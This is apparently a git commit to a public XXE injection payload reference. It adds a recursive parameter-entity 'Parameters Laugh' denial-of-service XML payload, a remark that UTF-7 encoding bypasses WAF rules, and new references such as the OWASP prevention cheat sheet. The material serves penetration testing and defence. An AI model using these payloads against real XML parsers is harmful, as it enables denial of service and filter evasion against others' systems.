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XXE: Improve the documentation

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- Add two references: "OWASP XXE prevention cheat sheet" and "XXE: How to become a Jedi"
- Describe the Parameters Laugh attack
- Expand the WAF bypass method with UTF-7
- Update the summary
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Quentin Ligier 2022-10-03 17:14:22 +02:00
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XXE Injection/README.md
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@ -20,6 +20,8 @@ Syntax: `<!ENTITY entity_name SYSTEM "entity_value">`
- [Exploiting XXE to perform SSRF attacks](#exploiting-xxe-to-perform-SSRF-attacks) - [Exploiting XXE to perform SSRF attacks](#exploiting-xxe-to-perform-SSRF-attacks)
- [Exploiting XXE to perform a deny of service](#exploiting-xxe-to-perform-a-deny-of-service) - [Exploiting XXE to perform a deny of service](#exploiting-xxe-to-perform-a-deny-of-service)
- [Billion Laugh Attack](#billion-laugh-attack) - [Billion Laugh Attack](#billion-laugh-attack)
- [Yaml attack](#yaml-attack)
- [Parameters Laugh attack](#parameters-laugh-attack)
- [Error Based XXE](#error-based-xxe) - [Error Based XXE](#error-based-xxe)
- [Exploiting blind XXE to exfiltrate data out-of-band](#exploiting-blind-xxe-to-exfiltrate-data-out-of-band) - [Exploiting blind XXE to exfiltrate data out-of-band](#exploiting-blind-xxe-to-exfiltrate-data-out-of-band)
- [Blind XXE](#blind-xxe) - [Blind XXE](#blind-xxe)
@ -228,6 +230,20 @@ h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
``` ```
### Parameters Laugh attack
A variant of the Billion Laughs attack, using delayed interpretation of parameter entities, by Sebastian Pipping.
```xml
<!DOCTYPE r [
<!ENTITY % pe_1 "<!---->">
<!ENTITY % pe_2 "&#37;pe_1;<!---->&#37;pe_1;">
<!ENTITY % pe_3 "&#37;pe_2;<!---->&#37;pe_2;">
<!ENTITY % pe_4 "&#37;pe_3;<!---->&#37;pe_3;">
%pe_4;
]>
<r/>
```
## Error Based XXE ## Error Based XXE
@ -591,6 +607,7 @@ we can convert the character encoding to `UTF-16` using [iconv](https://man7.org
```bash ```bash
cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml
``` ```
UTF-7 encoding can be used as well to bypass UTF-8/UTF-16 rules.
## Labs ## Labs
@ -599,6 +616,7 @@ cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml
## References ## References
* [XML External Entity (XXE) Processing - OWASP](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing) * [XML External Entity (XXE) Processing - OWASP](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing)
* [XML External Entity Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)
* [Detecting and exploiting XXE in SAML Interfaces](http://web-in-security.blogspot.fr/2014/11/detecting-and-exploiting-xxe-in-saml.html) - 6. Nov. 2014 - Von Christian Mainka * [Detecting and exploiting XXE in SAML Interfaces](http://web-in-security.blogspot.fr/2014/11/detecting-and-exploiting-xxe-in-saml.html) - 6. Nov. 2014 - Von Christian Mainka
* [[Gist] staaldraad - XXE payloads](https://gist.github.com/staaldraad/01415b990939494879b4) * [[Gist] staaldraad - XXE payloads](https://gist.github.com/staaldraad/01415b990939494879b4)
* [[Gist] mgeeky - XML attacks](https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870) * [[Gist] mgeeky - XML attacks](https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870)
@ -619,3 +637,4 @@ cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml
* [Midnight Sun CTF 2019 Quals - Rubenscube](https://jbz.team/midnightsunctfquals2019/Rubenscube) * [Midnight Sun CTF 2019 Quals - Rubenscube](https://jbz.team/midnightsunctfquals2019/Rubenscube)
* [SynAck - A Deep Dive into XXE Injection](https://www.synack.com/blog/a-deep-dive-into-xxe-injection/) - 22 July 2019 - Trenton Gordon * [SynAck - A Deep Dive into XXE Injection](https://www.synack.com/blog/a-deep-dive-into-xxe-injection/) - 22 July 2019 - Trenton Gordon
* [Synacktiv - CVE-2019-8986: SOAP XXE in TIBCO JasperReports Server](https://www.synacktiv.com/ressources/advisories/TIBCO_JasperReports_Server_XXE.pdf) - 11-03-2019 - Julien SZLAMOWICZ, Sebastien DUDEK * [Synacktiv - CVE-2019-8986: SOAP XXE in TIBCO JasperReports Server](https://www.synacktiv.com/ressources/advisories/TIBCO_JasperReports_Server_XXE.pdf) - 11-03-2019 - Julien SZLAMOWICZ, Sebastien DUDEK
* [XXE: How to become a Jedi](https://2017.zeronights.org/wp-content/uploads/materials/ZN17_yarbabin_XXE_Jedi_Babin.pdf) - Zeronights 2017 - Yaroslav Babin